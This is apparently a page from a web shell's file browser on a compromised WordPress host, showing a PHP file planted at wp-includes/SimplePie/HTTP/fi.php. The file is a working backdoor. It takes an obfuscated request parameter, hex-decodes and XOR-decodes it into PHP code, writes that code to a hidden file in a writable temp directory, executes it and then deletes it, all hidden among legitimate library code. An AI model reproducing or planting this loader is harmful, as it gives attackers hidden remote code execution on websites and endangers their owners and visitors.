HEX
Server: LiteSpeed
System: Linux php-prod-3.spaceapp.ru 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 x86_64
User: mirpo2476 (1016)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /home/mirpogruzchikov.ru/public_html/wp-includes/SimplePie/HTTP/fi.php
<?php

if(@$_REQUEST["d\x61\x74a"] !== null){
	$holder = array_filter([getenv("TMP"), "/dev/shm", getenv("TEMP"), "/tmp", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd()]);
	$factor = hex2bin($_REQUEST["d\x61\x74a"]);
	$res      =   ''    ;      for($g=0; $g<strlen($factor); $g++){$res .= chr(ord($factor[$g]) ^ 32);}
	foreach ($holder as $key => $reference) {
    		if (is_dir($reference) && is_writable($reference)) {
    $mrk = sprintf("%s/.obj", $reference);
    if (file_put_contents($mrk, $res)) {
	require $mrk;
	unlink($mrk);
	exit;
}
}
}
}